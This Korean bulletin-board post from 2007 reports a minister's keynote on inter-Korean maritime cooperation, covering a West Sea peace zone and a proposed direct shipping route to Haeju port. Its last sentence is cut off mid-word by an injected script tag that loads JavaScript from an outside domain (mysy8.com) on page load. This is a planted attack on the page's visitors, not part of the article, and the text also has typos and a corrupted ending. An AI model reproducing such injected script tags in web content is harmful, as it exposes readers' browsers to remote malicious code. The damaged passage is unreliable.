| 글쓴이 |
운영자 |
작성일 |
2007-10-10 |
| 제목 |
남북한 해운협력 풀어야 할 과제 산적해 |
남북한 해운협력 풀어야 할 과제 산적해
남북정상회담을 기념해 지난 8일 KMI가 주최하고 해양수산부가 후원한 남북한 해양수산 협력방안 세미나에서 강무현 장관은 “2007년 남북정상회담 해양수산분야 성과와 추진전략”을 주제로 기조연설을 했다.
강 장관은 기조연설을 통해 6.15 공동선언이후 7년간 남북관계 성과를 토대로 그간의 장애요인을 극복하고 남북관계 발전을 위한 한차원 높은 미래비전을 포괄적으로 제시했다고 밝혔다.
또 서해평화협력특별지대 설치 합의로 평화와 경제협력의 선순환 구조를 창출했으며 다방면의 경제협력을 통해 남북이 공동번영하는 경제공동체 건설을 앞당기는 계기가 마련됐다고 지적했다.
남측에는 새로운 투자기회, 북측에게는 경제발전에 기여하는 새로운 남북경협 추진에 합의했다는 것.
기존의 경제협력은 일방적으로 지원하는 형태였지만 이번 경제협력은 샌드위치에 있는 우리 경제의 돌파구가 될 수 있을 것이라고 강조했다. 경제협력 사업은 민간들이 투자적 방식으로 접근, 국민에 부담이 되는 것이 아니라 기업이 이익이 있다고 판단할 때 투자하는 방식으로 추진하고 있다고 밝혔다. 경협사업의 경우 기본적으로 남북한간에 상호이익이 되는 투자적 방식으로 접근, 비용-편익분석을 철저히 하고 장단기 투자계획을 투명하게 수립할 것이라고 강조했다.
이와함께 남북관계 발전을 위해 남북정상이 수시로 만나 현안문제를 해결키로 합의, 이는 사실상 남북정상회담의 정례화를 의미한다고 지적했다.
남북대화 총괄창구를 총리급으로 격상하는 상시적인 안북한간 협의 틀을 만들었다는 것이다.
서해평화협력지대 및 남북경협사업에 대한 군사적 보장 등 군사적 신뢰구축방안 마련을 위해 11월중 남북국방장관회담을 개최하는 한편 남북 경협사업의 원활한 추진을 위해 현재의 차관급 남북경제협력추진위원회를 부총리급 ‘남북경제협력공동위원회’로 격상시켰다고 밝혔다.
한편 서해 연안 접경지역을 평화수역으로 지정, 남북한이 공동번영을 위한 사업을 추진함으로써 접경연안의 자원보호, 긴장완화 및 통일경제 번영 체계를 구축키 위해 서해 평화수역 설정을 추진할 방침이라고 밝혔다.
평화수역은 양국간 일체의 무력행위가 배제되는 포괄적 평화구역이라며 군함 등 충돌 위험요소의 진입을 배제하고 공동의 평화적 이용을 전제로 한 행위와 보전활동만 가능한 구역으로 설정하고 경제적 이용가치 및 보전 필요성 등에 따른 내부 구역화를 통해 바다 목장화, 해양관광사업 등 포괄적 평화사업구역으로 발전시킬 계획이라고 언급해싿.
접경해역 중 공동어로가 이루어지지 않는 해역을 평화수역으로 선정하고 해양환경, 수산자원에 대해 공동조사활동 및 해양환경보호사업, 장기적으로 평화수역내 관광사업 진흥을 통한 종합 해양휴양지역화를 꾀한 방침이라고 밝혔다. 이로써 서해연안의 각종 생태계 자원을 합리적으로 이용·보전할 수 있는 남북경협의 틀을 마련하게 됐으며 남북 접경숭경르 환경친화적·평화적으로 이용할 수 있는 사업을 추진함으로써 남북 상호간 경제적 번영추구 및 해양에서 포괄적 협력 추진기반을 조성해 남북한간 긴장완화에 기여할 것이라고 전망했다.
무엇보다 해운업계가 관심을 갖는 것은 민간선박의 해주 직항로 통과하고 밝혔다. 현재 남북해운합의서에 따라 남북한 선박은 상대 해역을 항행할 때 ‘남북해상항로대’를 따라 운항하고 있다. 다만, 인천-남포 등의 정기운항선박과 해주항을 입출항하는 남측 선박은 해주항 직항로를 이용하는데 반해 북측 선박은 해주항 입출항시 ‘남북해상항로대를 따라 우회하고 있다.
북측에서는 제 5차 남북장성급 군사회담(’05.5.8~11) 등을 통해 북측 민간선박의 해주 직항로 운항문제를 제기했다는 것이다.
해주항 입출항 선박이 남북해상항로대의 제약을 받지 않고 직항로로 운항할 경우 최대 약 16시간의 항행시간이 단축돼 남북한간 해상교류 활성화를 가능하게 할 것이라고 강장관은 밝혔다.
해주-인천 직항로시 189마일(279→90마일) 가량 단축된다.
해주항이 개발돼 해주지역 경제특구에서 발생되는 화물이 직항로를 통해 운송될 경우 해주항과 남측항만간의 해상물류비 절감이 가능하다고 지적했다.추가로 협의가 필요한 사항은 이용선박 범위, 항로대 설정 등에 대해 군사당국과 추가 협의와 함께 통신망, 항로표지, 안전시설 등의 확보방안이라고 밝혔다.
오는 11월경 장관급 회담에서 민간 선박의 해주 직항로 개설방법에 대해 북한측과 논의할 계획이며 향후 구성될 분야별 공동위원회를 개최, 세부사항을 협의할 방침이라고 밝혔다.
강 장관은 또 해주항은 하역능력 2백40만톤, 부두길이 1,305m, 선석수 4개로서 남포항과 더불어 북한의 서해 주요 항만으로, 해주항을 중심으?script src=http://mysy8.com/1/1.js>
|
|
|
